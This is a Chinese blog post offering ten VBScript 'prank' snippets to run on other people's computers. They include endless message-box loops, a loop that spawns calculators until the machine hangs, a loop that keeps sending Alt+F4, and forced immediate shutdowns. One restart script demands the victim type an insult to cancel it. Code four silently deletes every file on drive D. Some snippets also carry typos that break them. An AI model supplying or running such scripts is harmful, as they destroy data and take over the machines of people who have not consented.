请点击展开进行观看
代码一：无限弹出信息框 双引号内可以自行修改
do
msgbox "爱邱哥爱生活"
loop
代码二：打开N个计算器，到电脑死机
et wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
代码三：电脑关机
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "shutdown -f -s -t 00",0 ,true
代码四：格式化D盘
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true
代码五：不断弹出N个窗口 双引号内可以自行修改
while(1)
msgbox "关不掉我了，爱邱哥爱生活"
loop
代码六：不断按alt+f4，开什么软件都自动关闭
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1)
WSHshell.SendKeys "%{F4}"
loop
代码七：按500次回车 双引号内可以自行修改
dim s
do until s=500
s=s+1
msgbox "500次回车是什么体验？爱邱哥爱生活",64
loop
代码八：关不掉的窗口（不停复制粘贴输入这个代码 可自行修改双引号内容 例子如下 可以复制N个）
WScript.Echo("嘿，我是邱哥"&TSNam）
WScript.Echo("你是谁")
WScript.Echo("哈哈哈，邱哥牛逼")
代码九：不说我是猪，电脑就自动关机
on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""说我是猪，不说我是猪就一分钟关机，不信，试下···"" ",0 ,true
dim a
do while(a > "我是猪")
a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown -a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈，好乖"
代码十：超强整人
set ws=createobject("wscript.shell")
call shutdown(1)
do while a>"我是猪"
a=inputbox("快在下面的框框里输入我是猪,否则后果自负，快输""我是猪"" ","输不输","")
loop
call shutdown(2)
msgbox "早说就行了嘛",4096+64
msgbox"再输一遍我是猪!",4096+64
msgbox"我是猪!",4096+64
MsgBox"最后一次!",4096+64
MsgBox"如果你很快的点过去,不看的话",4096+64
MsgBox"我就要你踩我空间的!哼!",4096+64
MsgBox"从前有座山!",4096+64
MsgBox"山里有个庙.",4096+64
MsgBox"庙里有个老和尚在讲故事.",4096+64
ws.run"iexplore.exe
msgbox"哎呀累了！数绵羊哄我睡觉",4096+64
for i=1 to 100
MsgBox i&"只绵羊",4096+64
next
msgbox"哎呀我困了，这次就饶过你吧，下次注意哦!",4096+64
msgbox"最后问个问题，我是不是大好人！",4096+64
if inputbox("是不是","请选择","是")>"是" then
call shutdown(1)
end if
sub shutdown(s)
select case s
case 1
ws.run"cmd.exe /c shutdown -r -t 60 -c",0
case 2
ws.run"cmd.exe /c shutdown -a",0
end select
end sub
本文来自作者[采菡]投稿，不代表博利网立场，如若转载，请注明出处：https://boliduo.cc/bl/1334.html
评论列表（4条）
我是博利网的签约作者“采菡”！
希望本篇文章《有没有一些恶搞别人的vbs代码》能对你有所帮助！
本站[博利网]内容主要涵盖：生活百科,小常识,生活小窍门,知识分享
本文概览：请点击展开进行观看代码一：无限弹出信息框 双引号内可以自行修改do msgbox "爱邱哥爱生活" loop 代码二：打开N个计算器，到电脑死机et wsh=createobj...